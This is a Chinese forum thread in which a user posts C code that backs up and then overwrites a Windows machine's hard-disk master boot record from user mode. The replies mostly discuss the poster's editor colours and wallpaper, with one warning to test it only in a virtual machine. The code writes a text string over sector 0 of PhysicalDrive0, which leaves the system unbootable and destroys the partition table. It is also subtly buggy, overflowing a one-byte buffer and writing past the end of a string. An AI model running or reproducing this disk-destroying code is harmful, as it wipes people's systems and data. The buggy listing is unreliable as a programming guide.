黑龍 发表于 2015-12-19 13:41:54

C/C++用户模式下备份并改写硬盘引导记录

本帖最后由 黑龍 于 2015-12-19 13:42 编辑

原理已经说过了。这次只是用库函数来操作硬盘
#include <stdio.h>

#define size 512 // 一个扇区512字节

int main(void)
{
        /* 文件流 */
        FILE *DiskFile;
        FILE *File;
        /* MBR */
        unsigned char *DiskCode;// 要写入的MBR
        unsigned char MBRCODE={0};// 备份MBR
        /* 准备写入的MBR */
        DiskCode=(unsigned char*)"      紫玫冰心   ";
        /* 获取文件流 */
        DiskFile=fopen("\\\\.\\PhysicalDrive0","rb+");
        if(!DiskFile)
                puts("Can't open file!");
        else if(!feof(DiskFile))
        {
                /* 移动到MBR的位置 */
                fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
                fread(MBRCODE,1,size,DiskFile);// 备份MBR
                /* 修改MBR之前先备份MBR */
                File=fopen("备份的MBR..ini","wb+");// 创建一个文件
                if(!File)
                        puts("备份MBR失败!");
                else if(!feof(File))
                {
                        /* 将原来的MBR保存 */
                        fwrite(MBRCODE,size,1,File);
                        fclose(File);
                }
                /* 移动到MBR的位置 */
                fseek(DiskFile,0,SEEK_SET);// MBR的位置(0柱面 0磁道 1扇区)
                // 写入新的MBR
                fwrite(DiskCode,size,1,DiskFile);
                fclose(DiskFile);
        }
        printf("Press any key to continue");
        getchar();
        return 0;
}
秀一下我的VS配色

@拈花小仙 @竹林小溪 @小甲鱼 @无名侠 @康小泡 @牡丹花下死做鬼

shzbg1341810374 发表于 2015-12-19 15:51:51

占个一楼,我是一楼么?

~风介~ 发表于 2015-12-21 15:34:39

配色大亮!{:7_140:}

牡丹花下死做鬼 发表于 2015-12-23 10:19:03

这种事情我只说一句虚拟机搞。。。。。我死过一次。。。

爱你没错 发表于 2015-12-23 11:54:45

日漫控啊

喝汽水的狸猫 发表于 2015-12-23 13:39:26

你视力肯定很好...

黑龍 发表于 2015-12-23 20:03:51

牡丹花下死做鬼 发表于 2015-12-23 10:19
这种事情我只说一句虚拟机搞。。。。。我死过一次。。。

没事 我死过好多次了

黑龍 发表于 2015-12-23 20:04:07

喝汽水的狸猫 发表于 2015-12-23 13:39
你视力肯定很好...

近视

黑龍 发表于 2015-12-23 20:04:42

爱你没错 发表于 2015-12-23 11:54
日漫控啊

柯南迷

黑龍 发表于 2015-12-23 20:05:07

~风介~ 发表于 2015-12-21 15:34
配色大亮!

柯南迷

喝汽水的狸猫 发表于 2015-12-23 22:05:33

黑龍 发表于 2015-12-23 20:04
近视

那还用这种调色,小心更瞎{:9_219:}

zlh 发表于 2015-12-24 18:06:24

注意了里全被背景柯南的第十九部电影《业火的向日葵》给吸引了。

苦哈哈哈 发表于 2015-12-26 11:19:50

好炫的背景

黑龍 发表于 2015-12-26 11:46:22

喝汽水的狸猫 发表于 2015-12-23 22:05
那还用这种调色,小心更瞎

很和谐的啊

黑龍 发表于 2015-12-26 13:56:15

zlh 发表于 2015-12-24 18:06
注意了里全被背景柯南的第十九部电影《业火的向日葵》给吸引了。

是的
页: [1]
查看完整版本: C/C++用户模式下备份并改写硬盘引导记录